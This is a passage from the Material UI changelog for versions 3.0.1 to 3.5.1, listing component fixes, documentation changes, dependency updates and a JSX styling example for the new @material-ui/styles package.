@wiktoriatomzik\n- [docs] Restructure the demo based on usage analytics (#13684) @oliviertassinari\n- [docs] Fix typo in URL (#13688) @Malvineous\n\n### Core\n\n- [core] Update dev dependencies (#13626) @oliviertassinari\n- [test] Fix codecov failing on merge commits (#13654) @eps1lon\n- [core] Make prettier run programmatically (#13621) @joshwooding\n- [test] Run unit/integration test on Chrome 41 (#13642) @eps1lon\n- [core] Move unit test commands to their package (#13604) @eps1lon\n\n## 3.5.1\n\n_Nov 13, 2018_\n\nA big thanks to the 13 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Introduce a new `@material-ui/styles` package 💅 (#13503).\n\nThe Material UI's styling solution has pretty much stayed the same [for the last 12 months](https://github.com/oliviertassinari/a-journey-toward-better-style).\nSome interesting CSS-in-JS libraries like styled-components, Emotion or linaria have emerged.\nThis new package is a significant step forward. Some of the key features:\n\n- Supports 4 different APIs: hooks, styled-components, higher-order components and render props.\n- Allow accessing the component's props from within the style object.\n- Replace the usage of the old React APIs with the new ones.\n- 15.0 kB gzipped.\n\nHere is an example: https://codesandbox.io/p/sandbox/vjzn5z4k77.\n\n```jsx\nimport Button from '@material-ui/core/Button';\nimport * as React from 'react';\nimport { makeStyles } from '@material-ui/core/styles';\n\n// Like https://github.com/brunobertolini/styled-by\nconst styledBy = (property, mapping) => (props) => mapping[props[property]];\n\nconst useStyles = makeStyles({\n  root: {\n    background: styledBy('color', {\n      red: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',\n      blue: 'linear-gradient(45deg, #2196F3 30%, #21CBF3 90%)',\n    }),\n    border: 0,\n    borderRadius: 3,\n    boxShadow: styledBy('color', {\n      red: '0 3px 5px 2px rgba(255, 105, 135, .3)',\n      blue: '0 3px 5px 2px rgba(33, 203, 243, .3)',\n    }),\n    color: 'white',\n    height: 48,\n    padding: '0 30px',\n  },\n});\n\nfunction MyButton(props) {\n  const { color, ...other } = props;\n  const classes = useStyles(props);\n  return <Button className={classes.root} {...other} />;\n}\n\nfunction AdaptingHook() {\n  return (\n    <div>\n      <MyButton color=\"red\">Red</MyButton>\n      <br />\n      <br />\n      <MyButton color=\"blue\">Blue</MyButton>\n    </div>\n  );\n}\n\nexport default AdaptingHook;\n```\n\n_Powered by [JSS](https://github.com/cssinjs/jss)._\n\n- Remove some usages of the old React's APIs (#13487, #13529, #13503) @eps1lon.\n- Add a language menu in the documentation and persist states between repeated visits (#13544, #13567) @mbrookes\n- And many more 🐛 bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.5.1`\n\n- [OutlinedInput] Remove Firefox workaround (#13519) @Studio384\n- [TextField] Fix style focus issue on mobile (#13511) @ekoeditaa\n- [InputBase] Remove legacy lifecycle methods (#13487) @eps1lon\n- [Chip] Alignment fix (#13536) @izyb\n- [Badge] Add invisible property (#13534) @joshwooding\n- [Table] Use stable context API (#13529) @eps1lon\n- [TablePagination] Allow more rows per pages (#13524) @oliviertassinari\n- [LinearProgress] Fix TypeScript definition (#13562) @AdamMcquiff\n- Add missing brcast dependency @oliviertassinari\n\n### `@material-ui/styles@v3.0.0-alpha.0`\n\n- @material-ui/styles (#13503) @oliviertassinari\n\n### Docs\n\n- [docs] Advanced filter added to the documentation (#13528) @ashkank83\n- [docs] Save one component in the demo (#13537) @levelingup\n- [docs] Make the lab > core dependency more explicit (#13542) @Robindiddams\n- [docs] Remove redundant text (#13547) @EbiEbiEvidence\n- [docs] Add language menu (#13544) @mbrookes\n- [docs] Misc fixes (#13555) @oliviertassinari\n- [docs] Add cookie for persistent colors (#13567) @mbrookes\n\n### Core\n\n- [test] Improve tests related to lists (#13517) @eps1lon\n- [core] Remove recompose/wrapDisplayName usage (#13525) @oliviertassinari\n- [core] Fix the CDN release (#13540) @oliviertassinari\n- [core] Pass import filename through normalizePath function (#13565) @joshwooding\n\n## 3.5.0\n\n_Nov 12, 2018_\n\n_Corrupted, to not use._\n\n## 3.4.0\n\n_Nov 5, 2018_\n\nA big thanks to the 16 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- ⚛️ Fix some React 16.6.0 warnings in StrictMode (#13498, #13477) @eps1lon.\n- 💅 Improve the customization of the outlined input (#13428) @oliviertassinari.\n- And many more bug fixes and documentation improvements.\n\n### `@material-ui/core@v3.4.0`\n\n- [Autocomplete] Fix react-select input overflow (#13413) @sayfulloev\n- [Drawer] Add a root style rule for consistency (#13418) @KirankumarAmbati\n- [Menu] Fix position regression (#13419) @oliviertassinari\n- [Menu] Add a visual regression test (#13420) @oliviertassinari\n- [Select] Fix focused text color (#13423) @joshwooding\n- [Tabs] Fix misaligned tab (#13421) @Ang-YC\n- [OutlinedInput] Improve customization (#13428) @oliviertassinari\n- [CircularProgress] Introduce disableShrink property (#13430) @joshwooding\n- [Select] Improve the value comparison function (#13408) @nicolasiensen\n- [InputLabel] Fix InputLabelClassKey (#13445) @eps1lon\n- [createMixins] Use theme spacing unit in gutters (#13452) @zsalzbank\n- [ButtonBase] Update focusVisible ponyfill for shadowRoots (#13483) @jaipe\n- [Table] Add rowspan and colspan examples (#13490) @josgraha\n- [FormControlLabel] Add top and bottom `labelPlacement` property variants (#13499) @JulienMalige\n- [List] Use stable context API (#13498) @eps1lon\n- [SvgIcon] Add shapeRendering property description (#13509) @joshwooding\n\n### `@material-ui/lab@v3.0.0-alpha.23`\n\n- [Slider] Fix hover state not being registered (#13437) @eps1lon\n- [SpeedDial] Add default value to tooltipOpen property (#13458) @joshwooding\n\n### Docs\n\n- [examples] Fix Next.js warning \"no title in \\_document.js\" (#13415) @iamhosseindhv\n- [docs] Update misspelled \"Interactive\" in Tooltip Demo (#13427) @imjaroiswebdev\n- [docs] Fix the scroll functionality of the mini drawer demo (#13460) @nicolasiensen\n- [examples] Update create-react-app examples (#13453) @eps1lon\n- [docs] Add Google Analytics events (#13451) @goldins\n- [docs] Use stable context API (#13477) @eps1lon\n- [docs] Update CONTRIBUTING.md (#13478) @josgraha\n- [docs] Fix material-ui-popup-state IE11 issue (#13474) @jedwards1211\n- [docs] Add Typography example for MenuItem (#13500) @joshwooding\n- [docs] Reword flexbox limitation (#13508) @joshwooding\n\n### Core\n\n- [core] Ponyfill global (#13426) @TrySound\n- [core] Upgrade dev dependencies (#13429) @oliviertassinari\n\n## 3.3.2\n\n_Oct 27, 2018_\n\nA big thanks to the 17 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 Fix some important issues with the Modal (#13378, #13389) @TomiCake.\n- 🐛 Fix a Dialog scroll issue (#13409) @Ang-YC.\n- 📝 Full IE11 support (#13375, #13324) @eps1lon.\n- And many more bug fixes and documentation improvements.\n\n### `@material-ui/core@v3.3.2`\n\n- [Stepper] Fix visual issue on IE11 (#13375) @oliviertassinari\n- [Modal] Reuse the same reference (#13378) @oliviertassinari\n- [MenuItem] Add disableGutters property (#13329) @adeelibr\n- [FormControl] Issue 13246 revert (#13380) @drkohlipk\n- [theme] Correct augmentColor TypeScript definition (#13376) @sveyret\n- [Table] Change divider color in dark theme (#13395) @Krijovnick\n- [TablePagination] Better color inheritance (#13393) @markselby9\n- [Modal] Fix aria and focus logic (#13389) @TomiCake\n- [Tooltip] Allow to interact with the tooltip (#13305) @jantimon\n- [Dialog] Fix unable to drag scrollbar when scroll=\"body\" (#13409) @Ang-YC\n\n### `@material-ui/lab@v3.0.0-alpha.22`\n\n- [Slider] Improve performance of slider (#13325) @Pajn\n\n### Docs\n\n- [docs] Fix some issue with i18n (#13342) @GFwer\n- [docs] Add polyfill for IE11 (#13324) @eps1lon\n- [docs] Correct title attribute for Paella recipe card (#13398) @vixmorrigan-redseven\n- [docs] CONTRIBUTING is not read by default (#13400) @eps1lon\n- [docs] Add missing </span> for prop-type (#13401) @mvsmal\n- [docs] aria-owns accepts 'string | undefined' but we feed it 'null' (#13396) @Primajin\n- [docs] Let user know where <Icon /> coming from (#13405) @bekicot\n- [docs] Update Workbox to v3.6.3 (#13392) @msiadak\n- [docs] Better i18n capability (#13410) @oliviertassinari\n\n### Core\n\n- [core] Update overrides type declarations (#13379) @eps1lon\n- [core] Misc of improvements (#13381) @oliviertassinari\n\n## 3.3.1\n\n_Oct 24, 2018_\n\nA big thanks to the 8 contributors who made this release possible!\n\nThis is a quick patch after an important regression with the Modal component.\n\n### `@material-ui/core@v3.3.1`\n\n- [Modal] Fix modalRef is null (#13351) @TomiCake\n- [Modal] Add a failling test case (#13350) @universalmind303\n- [Button] Fix styles classes isolation (#13352) @MECarmody\n- [Chip] Control clickable property (#13056) @vilvaathibanpb\n\n### Docs\n\n- [docs] Add material-ui-popup-state examples (#13044) @jedwards1211\n- [docs] Recommend yarn link to test local distribution (#13348) @nicolasiensen\n- [docs] Move the favicon to the root (#13362) @oliviertassinari\n\n## 3.3.0\n\n_Oct 21, 2018_\n\nA big thanks to the 26 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 Fix some important issues with the Modal (#13082, #13310) @J-Kallunki.\n- 📝 First translations of the documentation in Chinese (#13094) @mbrookes.\n- 📦 Make the Drawer demos usable outside of the box (#13314).\n- And many more bug fixes and documentation improvements.\n\n### `@material-ui/core@v3.3.0`\n\n- [FormHelperText] Error styles should override disabled styles (#13217) @matthewdordal\n- [InputBase] Add 'renderPrefix' and 'onFilled' signatures (#13282) @zheeeng\n- [Drawer] Fix right chevron in persistent demo (#13275) @fabriziocucci\n- [Tabs] Center text within tabs (#13258) @pelotom\n- [ModalManager] Fix aria-hidden of modal current node (#13082) @J-Kallunki\n- [Modal] Restore the focus as fast as possible (#13310) @oliviertassinari\n- [Select] Add a multiple placeholder demo (#13309) @rfbotto\n- [ListItem] Document how you can render a link (#13069) @JulienUsson\n- [Select] Fix NativeSelect's height in FF and Edge (#13326) @pinguinjkeke\n- [FormControl] Added zIndex of 0 to root style (#13327) @drkohlipk\n- [withStyle] Improve the dangerouslyUseGlobalCSS option (#13330) @oliviertassinari\n\n### `@material-ui/lab@v3.0.0-alpha.21`\n\n- [Slider] Fix Jest unmount issue (#13295) @mdartic\n\n### `@material-ui/docs@v3.0.0-alpha.7`\n\n- [withStyle] Improve the dangerouslyUseGlobalCSS option (#13330) @oliviertassinari\n\n### Docs\n\n- [docs] Adds documentation for Circular Progress component (#13266) @mxmcg\n- [docs] Remove usage of non-existent `listItem` jss class (#13269, #13268) @G-Rath\n- [examples] Extend the .gitignore files (#13270) @phiilu\n- [docs] Remove/annotate deprecated button variants (#13280) @eps1lon\n- [docs] Update RTL guide to be more clear (#13181) @wenduzer\n- [docs] Add checklist to PR template (#13225) @eps1lon\n- [docs] Fix markdown formatting (#13284) @rutsky\n- [docs] Fix typo (#13287) @NMinhNguyen\n- [docs] Fixes typos & formatting in GridListTile and GridListTileBar documentation (#13298) @rassek96\n- [docs] Reverse show password logic (#13301) @ShunnyBunny\n- [docs] Some improvements (#13308) @programistka\n- [docs] Clarify on how to use the local distribution in the CONTRIBUTING file (#13312) @nicolasiensen\n- [docs] Refactor CheckboxesGroup to support IE11 (#13316) @simjes\n- [docs] Set the infrastructure for a full page demo (#13314) @oliviertassinari\n- [docs] Fix typos & formatting in filled-input (#13317) @dskiba\n- [docs] Remove usage of non-existent `margin` jss class (#13318) @G-Rath\n- [docs] Fix ad display (#13321) @oliviertassinari\n- [docs] New Crowdin translations (#13094) @mbrookes\n\n### Core\n\n- [core] Fix defaultFontFamily misspelled in createTypography (#13260) @TheBear44\n- [core] Misc of improvements (#13271) @oliviertassinari\n- [core] Upgrade the dev dependencies (#13286) @oliviertassinari\n- [core] Disable the jss vendor plugin server-side (#13285) @oliviertassinari\n- [core] Work toward preventing Googlebot regressions (#13323) @oliviertassinari\n\n## 3.2.2\n\n_Oct 16, 2018_\n\nA big thanks to the 3 contributors who made this release possible!\nThis is a quick patch after important regressions.\n\n### `@material-ui/core@v3.2.2`\n\n- [ButtonBase] Fix process is not defined (#13252) @eps1lon\n\n### Core\n\n- [core] Fix deprecated variant (#13254) @oliviertassinari\n- [core] Add a real life benchmark (#13244) @oliviertassinari\n- [core] Only use debounce client-side (#13255) @oliviertassinari\n\n## 3.2.1\n\n_Oct 14, 2018_\n\nA big thanks to the 19 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 🐛 A simpler Typography upgrade story\n- 🚀 Work on the performance server-side (x10) (#13233, #13236)\n- And many more bug fixes and 📝 documentation improvements.\n\n### `@material-ui/core@v3.2.1`\n\n- [DialogContentText] Fix typography deprecation warning with useNextVariants (#13148) @eps1lon\n- [SnackbarContent] Fix invalid dom (#13151) @eps1lon\n- [Autocomplete] Fix the Portal Downshift demo (#13166) @oliviertassinari\n- [SwitchBase] Fix type declarations (#13172) @eps1lon\n- [Switch] Fix stacking context (#13122) @skenbo0916\n- [Radio][switch] Accept number & bool as value (#13173) @rassek96\n- [Collapse] Show overflow content once entered (#13117) @skenbo0916\n- [Stepper] Forward state properties to StepConnector (#13130) @jmaloon\n- [Typography] Add missing classkey for overline variant (#13187) @eps1lon\n- [Stepper] Prevent overriding Step's props (#13188) @nikhilem\n- [Stepper] We were too greedy, revert (#13192) @oliviertassinari\n- [withWidth] Document the render prop (#13074) @JulienUsson\n- [TextField] Fix/core/input label/declarations and refactor (#13200) @eps1lon\n- [CardActionArea] Fix overflow issue (#13213) @mdsadiq\n- [Typography] Improve the upgrade story (#13214) @oliviertassinari\n- [Snackbar] Remove non supported property `anchorOrigin.vertical=enter` (#13238) @iamhosseindhv\n- [Tabs] Fix IE11 styling (#13230) @pography\n\n### `@material-ui/lab@v3.0.0-alpha.20`\n\n- [SpeedDialAction] Fix className prop being ignored (#13161) @eps1lon\n- [SpeedDial] Add missing class keys (#13228) @msenevir\n\n### Docs\n\n- [docs] Use typography v2 in examples (#13112) @eps1lon\n- [docs] Add formik-material-ui (#13149) @cliedeman\n- [examples] Fix codesandbox throwing Invalid comparator (#13153) @eps1lon\n- [docs] Keep working on the SEO issues (#13158) @oliviertassinari\n- [docs] Fix select outlined example (#13168) @RichardLindhout\n- [Grid] Refactor prop order for clarity (#13204) @dijonkitchen\n- [docs] Fix typo in Dialog (#13209) @rassek96\n- [Tabs] Remove the href form simple tab example (#13205) @menomanabdulla\n- [docs] Add demo for a bottom app bar (#13030) @adeelibr\n- [docs] Fix a typo in the content that Table normally takes (#13219) @eddiemonge\n- [docs] Change `filled-input` link text to `FilledInput` (#13223) @G-Rath\n- [docs] Add Onepixel to the showcase (#13227) @oliviertassinari\n- [docs] Fix API generation for i18n (#13237) @mbrookes\n- [docs] Keep SEO juice for the other pages (#13240) @oliviertassinari\n\n### Core\n\n- [test] Add visual regression test for SpeedDIal (#13140) @eps1lon\n- [test] Tidelift - skip checking nomnom & os-locale (#13157) @mbrookes\n- [core] Benchmark Material UI (#13233) @oliviertassinari\n- [core] Introduce JSS caching (#13236) @oliviertassinari\n\n## 3.2.0\n\n_Oct 8, 2018_\n\nA big thanks to the 18 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💅 Update the Typography implementation to better follow the specification (#12916) @eps1lon.\n- 📝 Enable [translating the documentation into Chinese](https://crowdin.com/project/material-ui-docs) @mbrookes.\n- 📝 Fix many SEO issues of the docs.\n- And many more bug fixes 🐛 and documentation improvements.\n\n### `@material-ui/core@v3.2.0`\n\n#### Deprecations\n\n- [Typography] Add typography v2 variants (#12916) @eps1lon\n\nThis is a backward compatible change.\nYou can opt-in the usage of the new Material Design typography specification.\nTo learn more about the upgrade path, follow https://mui.com/style/typography/#migration-to-typography-v2.\n\n- [Button] Deprecate flat and raised variant naming (#13113) @eps1lon\n\nThis change updates the variant wording to match the one used in the Material Design specification.\n\n```diff\n-<Button variant=\"flat\" />\n+<Button variant=\"text\" />\n```\n\n```diff\n-<Button variant=\"raised\" />\n+<Button variant=\"contained\" />\n```\n\n#### Changes\n\n- [TextField] Ensure labelWidth is set (#13077) @evanstern\n- [styles] Remove react-jss dependency (#12993) @oliviertassinari\n- [TextField] Fix ClassKey inference for outlined and filled variants (#13060) @eps1lon\n- [Select] Document the filled and outlined variants (#13071) @JulienUsson\n- [Typography] Support incomplete headlineMapping property (#13078) @oliviertassinari\n- [Stepper] Expose connector index to <StepConnector /> (#13079) @dannycochran\n- [ListItemIcon] Add wrapper `<div>` element to children (#13067) @izyb\n- [TextField] Fix of Uncaught TypeError: r.inputRef.focus is not a function (#13091) @MustD\n- [InputAdornment] Add missing \"variant\" prop to types (#13107) @cmfcmf\n- [Textarea] Merge style with calculated height (#13125) @daniel-rabe\n- [Typography] Small improvements (#13129) @oliviertassinari\n- [Typography] Run the e2e tests with the next variant (#13136) @oliviertassinari\n- [Tooltip] Forward the properties to the child element (#13138) @parulgupta26\n- [Tooltip] Prevent onOpen, onClose to pass through (#13139) @eps1lon\n\n### `@material-ui/lab@v3.0.0-alpha.19`\n\n- [SpeedDial] Improve hover intent between Dial and Actions (#13018) @eps1lon\n- [Slider] Fix thumb outline not matching spec (#12967) @eps1lon\n- [SpeedDial] Fix navigation between SpeedDialActions (#12725) @eps1lon\n- [Slider] Lowest value for vertical should be at the bottom (#13090) @eps1lon\n\n### Docs\n\n- [docs] Fix more SEO issues (#13050) @oliviertassinari\n- [docs] Fix even more 301 redirections (#13051) @oliviertassinari\n- [docs] Use typography v1 in examples (#13073) @mikhailsidorov\n- [docs] Add SFR Presse to the Showcase (#13092) @RyudoSynbios\n- [docs] Mark Text fields variants as supported (#13089) @KaRkY\n- [docs] Add internationalization (#13066) @mbrookes\n- [docs] Remove language code for default language for CrowdIn (#13093) @mbrookes\n- [docs] Update SwipeableTextMobileStepper in demos with AutoPlay (#13095) @JayathmaChathurangani\n- [docs] Fix broken link (#13096) @Hocdoc\n- [docs] Use the InputBase component for the AppBar demo (#13102) @oliviertassinari\n- [docs] Adds DropDownMenu to migration guide (#13110) @mxmcg\n- [docs] Warn about the number of inputs allowed in a FormControl (#13108) @matthewdordal\n- [docs] Repurpose page edit button as Chinese l10n call-to-action (#13115) @mbrookes\n- [docs] Fix a IE11 rendering issue (#13118) @oliviertassinari\n- [docs] Link the related projects where it's relevant (#13124) @oliviertassinari\n- [docs] Fix 404 edit button of the versions page (#13127) @oliviertassinari\n- [docs] Add a translation badge to readme, and update URLs (#13128) @mbrookes\n\n### Core\n\n- [core] Add integrity hashes to yarn.lock (#13055) @eps1lon\n- [test] Fail if coverage can't be push (#13084) @eps1lon\n- [core] Remove eslint-spellcheck (#13120) @oliviertassinari\n- [test] Add jsonlint to CI (#13126) @mbrookes\n\n## 3.1.2\n\n_Sep 30, 2018_\n\nA big thanks to the 16 contributors who made this release possible!\nIt contains many bug fixes 🐛 and documentation improvements 📝.\n\n### `@material-ui/core@v3.1.2`\n\n- [FormControlLabel] Reverse margins values when labelPlacement=\"start\" (#13007) @IvanoffDan\n- [InputBase] Fix cursor on disabled state (#13008) @itskibo\n- [InputLabel] Add `variant` property to InputLabel type definition (#13009) @chrislambe\n- [StepLabel] Introduce StepIconComponent property (#13003) @semos\n- [StepConnector] Customize connector based on internal states (#13023) @spirosikmd\n- [OutlinedInput] `notched` should be boolean type (#13038) @zheeeng\n- [TextField] Add \"pointerEvents: none\" to outline and filled variants (#13040) @byronluk\n- [TextField] Fix the recent regressions (#13017) @slipo\n- [Portal] container should allow being 'null' type (#13043) @zheeeng\n\n### `@material-ui/lab@v3.0.0-alpha.18`\n\n#### Breaking Changes\n\n- [Slider] Replace reversed with rtl support on horizontal sliders (#12972)\n\n### `@material-ui/docs@v3.0.0-alpha.6`\n\n- [docs] Defer NProgressBar rendering to the client (e5d757dc8fec9dd6a0951b865dec531528b7f1d0) @oliviertassinari\n\n### Docs\n\n- [docs] Fix typo in grid.md (#12978) @jschnurr\n- [examples] Clean up create-react-app-with-typescript (#12992) @eps1lon\n- [docs] Small spelling correction (#13012) @innovade\n- [docs] Add closing tag in the Popover snippet (#13026) @liesislukas\n- [docs] The Grammar Nazi (#13031) @maciej-gurban\n- [docs] Improve the Gatsby demo (#13041) @oliviertassinari\n- [docs] Fix 3xx and 4xx HTTP statuses (#13046) @oliviertassinari\n- [docs] Fix issues spotted by ahrefs.com (#13047) @oliviertassinari\n\n### Core\n\n- [core] Upgrade the @types/jss dependency to 9.5.6 (#12982) @qvxqvx\n- [core] Upgrade the dev dependencies (#13016) @oliviertassinari\n- [core] Remove redundant class field initializers, save 1% of bundle size (#13022) @RobertPurcea\n- [core] Better assertion (#13035) @oliviertassinari\n\n## 3.1.1\n\n_Sep 24, 2018_\n\nA big thanks to the 21 contributors who made this release possible!\nIt contains many bug fixes 🐛 and documentation improvements 📝.\n\n### `@material-ui/core@v3.1.1`\n\n- [TextField] Fix alignment bug in Safari (#12906) @shcherbyakdev\n- [InputLabel] Fix Chrome's autofill (#12926) @PutziSan\n- [Tooltip] Fix unwanted tooltip opening (#12929) @ayubov\n- [TextField] Fix RTL support of outlined (#12939) @RobertPurcea\n- [Button] Make the outlined button border gray when disabled (#12933) @dispix\n- [RootRef] Keep track of the DOM node changes (#12953) @oliviertassinari\n- [Grid] Fix rounding errors (#12952) @RobertPurcea\n- [Tooltip] Back to 100% test coverage (#12954) @oliviertassinari\n- [SwipableDrawer] Don't break when backdrop is null (#12969) @spirosikmd\n- [InputAdornment] Fix flexbox alignment bug for IE (#12975) @oliviertassinari\n- [FilledInput] Update the background color to match the spec (#12977) @adeelibr\n- [ListItem] Fix background color bug on mobile (#12976) @ryusaka\n\n### `@material-ui/lab@v3.0.0-alpha.17`\n\n- [Slider] Remove touchend event listener (#12923) @brian-growratio\n- [SpeedDialAction] Add missing TypeScript property (#12959) @KarimFereidooni\n\n### Docs\n\n- [docs] Make JSS insertion point reference the same as HTML comment (#12896) @emattias\n- [docs] Small fixes (#12904) @oliviertassinari\n- [docs] Add reference to material-ui-theme-editor (#12888) @jdrouet\n- [docs] Add another case to check when SSR fails (#12908) @oliviertassinari\n- [docs] Correct misspelling (dasboard => dashboard) (#12910) @seishan\n- [docs] Use core package for (peer-)dependency badges (#12911) @eps1lon\n- [docs] Display the backers avatars correctly (3057f970a385fc0cf43e6c978c373b847d0d341e) @oliviertassinari\n- [docs] Update themes.md (#12942) @brucegl\n- [docs] Fix documentation error in <Input /> (#12955) @lukePeavey\n- [docs] Minor style update of the tabs demos (#12958) @dotku\n- [docs] Glamorous is deprecated for Emotion (#12963) @oliviertassinari\n- [docs] Add Emotion to style library interoperability guide (#12966) @lukePeavey\n- [docs] Fix IconButton Snackbar demos (#12964) @bhalahariharan\n- [docs] Show how to combine OutlinedInput and FilledInput (#12968) @oliviertassinari\n- [docs] Fix Typo in PaymentForm.js (#12971) @n3n\n- [docs] Fix Typo in page-layout-examples (#12974) @n3n\n\n### Core\n\n- [typescript] Improve definitions with strictNullChecks disabled (#12895) @eps1lon\n- [typescript] Remove unused isMuiComponent definition (#12903) @eps1lon\n- [core] Add setRef helper (#12901) @eps1lon\n- [core] Fix umd bundle (#12905) @oliviertassinari\n- [core] Use .browserlistrc as single point of thruth for target env §#12912) @eps1lon\n- [typescript] Add missing `MuiFilledInput` to 'Overrides' (#12938) @marcel-ernst\n\n## 3.1.0\n\n_Sep 16, 2018_\n\nA big thanks to the 24 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- 💅 Add outlined and filled text field variants (#12076) @enagy27.\n- ♿️ Document how to make the icons accessible (#12822).\n- 🐛 Fix a class name generation regression (#12844).\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### `@material-ui/core@v3.1.0`\n\n- [Checkbox] Add indeterminateIcon type definition (#12815) @cvanem\n- [Popover] Change to offsetWidth and offsetHeight (#12816) @akaxiaok\n- [styles] Use the same class name generator (#12818) @oliviertassinari\n- [styles] Revert packageId as default option (#12823) @oliviertassinari\n- [withStyles] Fix JSS issues in IE11 in development (#12826) @novascreen\n- [autocomplete] Fix incorrect input font in react-select autocomplete demo (#12828) @wijwoj\n- [withWidth] Prevent Rerendering (#12825) @junhyukee\n- [SvgIcon] Improve accessibility (#12822) @oliviertassinari\n- [CircularProgress] Update missing type definitions (#12835) @gsalisi\n- [styles] Remove the packageId (#12844) @oliviertassinari\n- [Typography] Add inherit and screen reader only (#12837) @oliviertassinari\n- [Select] Test if child passed to onChange handler (#12852) @akaxiaok\n- [TableSortLabel] Remove sort icon when not active (#12874) @markselby9\n- [icons] Add `fontSize` small and large (#12865) @JoshuaLicense\n- [Chip] Add an icon property (#12881) @aretheregods\n- [TextField] Add outlined and filled variants (#12076) @enagy27\n\n### `@material-ui/lab@v3.0.0-alpha.16`\n\n- [Slider] Don't pass component props down to root div (#12842) @mbrookes\n- [Slider] Faster transitions (#12843) @mbrookes\n- [SpeedDial] Fix ARIA & fix duplicate id in docs example (#12846) @mbrookes\n- [SpeedDial] Remove redundant aria-labelledby (#12847) @mbrookes\n- [SpeedDial] Fix not opening on first tap in mobile (#12771) @hashwin\n- [Slider] Feature Custom Icon (#12600) @adeelibr\n\n### Docs\n\n- [docs] Fix the gatsby example (#12817) @oliviertassinari\n- [docs] Fix Typo in Pricing.js (#12821) @enducker\n- [docs] Fix Typo in Checkout.js (#12820) @enducker\n- [docs] Fix typo in popover.md (#12832) @amacleay\n- [docs] Add documentation for css-to-mui-loader (#12841) @mcdougal\n- [docs] Fix ToggleButtons example typography variant (#12845) @mbrookes\n- [docs] Fix very minor typo (Docs - page layout examples) (#12849) @bcapinski\n- [SvgIcon] Fix minor typo in docs (#12848) @iamhosseindhv\n- [docs] Fix typo in blog page layout README (#12868) @sethduncan\n- [docs] Update comparison.md (#12877) @GideonShils\n- [docs] Split test ad networks (#12878) @mbrookes\n- [docs] Customize LinearProgress color (#12883) @mbrn\n\n### Core\n\n- [typescript] Update createGenerateClassName.d.ts (#12824) @Qeneke\n- [github] Make issue templates version agnostic (#12839) @mbrookes\n- [typescript] Fix with\\* injectors ignoring defaultProps (#12673) @eps1lon\n- [core] Set required yarn version (#12864) @eps1lon\n- [core] Upgrade dev dependencies (#12884) @oliviertassinari\n\n## 3.0.3\n\n_Sep 9, 2018_\n\nA big thanks to the 13 contributors who made this release possible!\n\n### `@material-ui/core@v3.0.3`\n\n- [typescript] Fix ModalClasses prop type on popover (#12761) @YuriiOstapchuk\n- [AppBar] Add position=\"relative\" (#12790) @jgoux\n- [Checkbox] Revert input indeterminate support (#12803) @eps1lon\n- [Checkbox] Indeterminate CSS & DOM helpers (#12804) @oliviertassinari\n- [Chip] Add verticalAlign: 'middle' (#12809) @akaxiaok\n- [autocomplete] Fix delete chip not working on mobile (#12813) @aretheregods\n- [styles] Support multiple withStyles instances (#12814) @oliviertassinari\n\n### `@material-ui/lab@v3.0.0-alpha.15`\n\n- [SpeedDialAction] Update tooltipPlacement propTypes (#12758) @Primajin\n- [ToggleButtons] normalize onChange api (#12549) @eps1lon\n\n### Docs\n\n- [docs] Remove function call from onChange handler (#12785) @snikobonyadrad\n- [docs] Unescapes character in markdown (#12778) @schalkventer\n- [docs] Enable service worker by default as the latest CRA (#12775) @sharils\n- [docs] New DataTable component (#12799) @mbrn\n- [docs] Add AppBar demos with exapandable & primary search fields (#12695) @adeelibr\n- [docs] Simpler AppBar search demos (#12806) @oliviertassinari\n- [docs] Document the shrink status input limitation (#12769) @racingrebel\n\n### Core\n\n- [test] Use yarn offline mirror (#12763) @eps1lon\n- [core] Small changes investigating issues (#12812) @oliviertassinari\n\n## 3.0.2\n\n_Sep 3, 2018_\n\nA big thanks to the 16 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- A documented release strategy (#12752).\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### `@material-ui/core@v3.0.2`\n\n- [Tab] Ability change font size of tab (#12706) @adeelibr\n- [typescript] Set default for withStyles' Options generic (#12698) @nmchaves\n- [Dialog] Remove dialog margin when fullScreen=true and scroll=body (#12718) @akaxiaok\n- [Table] Improved sorting in table for demo EnhancedTable (#12736) @adeelibr\n- [Snackbar] Add `ClickAwayListenerProps` property (#12735) @tendermario\n- [IconButton] Fix border radius cutting of badges on IE11 (#12743) @novascreen\n- [Select] Pass child to onChange handler (#12747) @akaxiaok\n- [Input] Fix Input passing inputRef to intrinsic elements (#12719) @eps1lon\n- [withStyles] Better theme.props support (#12750) @oliviertassinari\n- [SwipeableDrawer] Add hysteresis and velocity property (#12722) @jniclas\n\n### `@material-ui/lab@v3.0.0-alpha.14`\n\n#### Breaking Changes\n\n- [ToggleButton] Fix ToggleButtonGroup exports (#12733) @mbrookes\n\n```diff\n-import { ToggleButtonGroup } from '@material-ui/lab/ToggleButton';\n+import ToggleButtonGroup from '@material-ui/lab/ToggleButtonGroup';\n```\n\n### Component Fixes / Enhancements\n\n- [SpeedDialAction] Update tooltipPlacement propTypes (#12730) @Primajin\n- [Slider] Add missing packages (#12745) @GermanBluefox\n- [SpeedDial] Allow tooltip to always be displayed (#12590) @hashwin\n\n### Docs\n\n- [docs] Fix typo in Overrides chapter (#12705) @sanderpost\n- [docs] Improve the Downshift demo (#12703) @oliviertassinari\n- [examples] Fix typing of `withRoot` to accept props (#12712) @mattmccutchen\n- [docs] Fix class name in overrides example (#12717) @manuelkiessling\n- [examples] Fix withRoot accepting any props (#12713) @eps1lon\n- [typescript] Illustrate issue with ambiguous css class names (#12724) @eps1lon\n- [docs] Fix Typo in Page Layout Examples (#12734) @mblodorn\n- [docs] Explain how to pass props down to overridden components (#12716) @manuelkiessling\n- [docs] Generate import examples in API docs (#12720) @jedwards1211\n- [docs] More transparency around the release strategy (#12752) @oliviertassinari\n\n### Core\n\nN/A\n\n## 3.0.1\n\n_Aug 28, 2018_\n\nA big thanks to the 10 contributors who made this release possible!\n\nWe are making a quick release after v3.0.0 to patch an incorrect peer dependency.\nIt's also a good opportunity to upgrade to the stable release of Babel 7.\n\n### `@material-ui/core@v3.0.1`\n\n- 